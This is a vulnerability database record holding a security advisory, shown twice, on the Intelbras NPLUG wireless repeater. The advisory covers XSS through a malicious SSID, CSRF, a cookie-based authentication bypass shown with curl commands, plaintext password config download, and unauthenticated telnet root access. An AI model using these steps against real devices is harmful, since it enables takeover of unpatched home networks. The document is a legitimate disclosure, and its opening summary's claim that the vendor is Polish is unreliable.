var-201810-0952
Vulnerability from variot

Intelbras NPLUG 1.0.0.14 wireless repeater devices have no CSRF token protection in the web interface, allowing attackers to perform actions such as changing the wireless SSID, rebooting the device, editing access control lists, or activating remote access. Intelbras NPLUG Contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. IntelbrasNPLUG is a wireless relay device from Intelbras, Poland. A cross-site request forgery vulnerability exists in the web interface in the Intelbras NPLUG version 1.0.0.14 wireless relay device. =====[ Tempest Security Intelligence ]=====================================

Multiple vulnerabilities in NPLUG wireless repeater

CVE-2018-12455: Authentication bypass CVE-2018-12456: Multiple CSRF CVE-2018-17337: XSS via SSID

Author: - Patrick Costa < @patrickrbc > Tempest Security Intelligence - Recife, PE - Brazil

=====[ Table of Contents ]=================================================

  1. Overview
  2. Detailed description
  3. Affected versions & Solutions
  4. Timeline of disclosure
  5. Thanks & Acknowledgements

=====[ Detailed description ]==============================================

DISCLAIMER: This device uses a modified Tenda firmware [2]. Most of the vulnerabilities disclosed here were previously published regarding other similar device, besides that this device is pretty old.

NPLUG wireless repeater has multiple vulnerabilities that can be combined to get a root access on the device. This can be exercised by placing an access point in an appropriate range from the device with a malicious SSID, e.g.:

<script src="[pwned]"></script>

If the user tries to scan for wireless networks using the web interface the XSS will pop and you're done. You can do all the stuff that will be described here.

But, what if the user never uses this feature? Well, NPLUG's web interface has no CSRF (CVE-2018-12456) protection, so you can try to force a connected user to activate WAN access or change wireless security settings.

Once you're inside NPLUG's network things became really easy. You can bypass the authentication just by setting a cookie named "admin:" (CVE-2018-12455).

Example:

  curl -I http://10.0.0.1/
  HTTP/1.0 302 Redirect
  ...

  curl -I http://10.0.0.1/ -H "Cookie: admin:="
  HTTP/1.0 200 OK
  ...

Now you have access to all the web interface features and you can download the config at http://10.0.0.1/DownloadCfg/RouterCfm.cfg containig passwords in plain text.

If that is not enough for you, you can activate telnet daemon by making a simple GET request to /goform/telnetd and guess what! Root access with no password.

Lately, I found out that this firmware had a binary that would work as the same backdoor previously reported for Tenda routers [3]. However, the service is not started by default and even when manually starting it, I couldn't exploit it for some reason. But there is not much need to do so.

=====[ Affected versions & Solutions ]=====================================

This test was performed against version 1.0.0.14 but previous versions are probably vulnerable.

=====[ Timeline of disclosure ]============================================

15/06/2018 - Vendor contacted. 04/07/2018 - Vendor requested time to verify. 22/08/2018 - Vendor replied they won't patch it.

=====[ Thanks & Acknowledgements ]=========================================

  • Felipe Xavier < filipe.xavier () tempest.com.br >
  • Gustavo Pimentel < gustavo.pimentel () tempest.com.br>
  • Tempest Security Intelligence [4]

=====[ References ]========================================================

[1] http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/repetidor-de-sinal/nplug [2] http://www.tendacn.com/en/default.html [3] http://www.devttys0.com/2013/10/from-china-with-love/ [4] http://www.tempest.com.br/

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    "data": "Intelbras NPLUG 1.0.0.14 wireless repeater devices have no CSRF token protection in the web interface, allowing attackers to perform actions such as changing the wireless SSID, rebooting the device, editing access control lists, or activating remote access. Intelbras NPLUG Contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. IntelbrasNPLUG is a wireless relay device from Intelbras, Poland. A cross-site request forgery vulnerability exists in the web interface in the Intelbras NPLUG version 1.0.0.14 wireless relay device. =====[ Tempest Security Intelligence ]=====================================\n\n\n  Multiple vulnerabilities in NPLUG wireless repeater\n\n  CVE-2018-12455: Authentication bypass\n  CVE-2018-12456: Multiple CSRF\n  CVE-2018-17337: XSS via SSID\n\n  -------------------------------------------------------\n  Author:\n    - Patrick Costa \u003c @patrickrbc \u003e\n    Tempest Security Intelligence - Recife, PE - Brazil\n\n\n=====[ Table of Contents ]=================================================\n\n  1. Overview\n  2. Detailed description  \n  3. Affected versions \u0026 Solutions  \n  4. Timeline of disclosure  \n  5. Thanks \u0026 Acknowledgements\n  6. \n\n=====[ Detailed description ]==============================================\n\n  DISCLAIMER: This device uses a modified Tenda firmware [2]. Most of the\n  vulnerabilities disclosed here were previously published regarding other\n  similar device, besides that this device is pretty old. \n\n  NPLUG wireless repeater has multiple vulnerabilities that can be combined\n  to get a root access on the device. This can be exercised by\nplacing\n  an access point in an appropriate range from the device with a malicious\n  SSID, e.g.:\n\n    \u003cscript src=\"[pwned]\"\u003e\u003c/script\u003e\n\n  If the user tries to scan for wireless networks using the web\ninterface the\n  XSS will pop and you\u0027re done. You can do all the stuff that will be\ndescribed\n  here. \n\n  But, what if the user never uses this feature? Well, NPLUG\u0027s web interface\n  has no CSRF (CVE-2018-12456) protection, so you can try to force a\nconnected\n  user to activate WAN access or change wireless security settings. \n\n  Once you\u0027re inside NPLUG\u0027s network things became really easy. You can\nbypass\n  the authentication just by setting a cookie named \"admin:\"\n(CVE-2018-12455). \n \n  Example:\n\n      curl -I http://10.0.0.1/\n      HTTP/1.0 302 Redirect\n      ... \n\n      curl -I http://10.0.0.1/ -H \"Cookie: admin:=\"\n      HTTP/1.0 200 OK\n      ... \n \n\n  Now you have access to all the web interface features and you can download\n  the config at http://10.0.0.1/DownloadCfg/RouterCfm.cfg containig\npasswords\n  in plain text. \n \n  If that is not enough for you, you can activate telnet daemon by making a\n  simple GET request to /goform/telnetd and guess what! Root access with no\n  password. \n\n  Lately, I found out that this firmware had a binary that would work as the\n  same backdoor previously reported for Tenda routers [3]. However, the\nservice\n  is not started by default and even when manually starting it, I couldn\u0027t\n  exploit it for some reason. But there is not much need to do so. \n\n\n=====[ Affected versions \u0026 Solutions ]=====================================\n\n  This test was performed against version 1.0.0.14 but previous versions are\n  probably vulnerable. \n\n=====[ Timeline of disclosure ]============================================\n\n  15/06/2018 - Vendor contacted. \n  04/07/2018 - Vendor requested time to verify. \n  22/08/2018 - Vendor replied they won\u0027t patch it. \n\n=====[ Thanks \u0026 Acknowledgements ]=========================================\n\n  - Felipe Xavier \u003c filipe.xavier () tempest.com.br \u003e\n  - Gustavo Pimentel \u003c gustavo.pimentel () tempest.com.br\u003e\n  - Tempest Security Intelligence [4]\n\n=====[ References ]========================================================\n\n  [1]\nhttp://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/repetidor-de-sinal/nplug\n  [2] http://www.tendacn.com/en/default.html\n  [3] http://www.devttys0.com/2013/10/from-china-with-love/\n  [4] http://www.tempest.com.br/\n\n\n\n\n\n\n",
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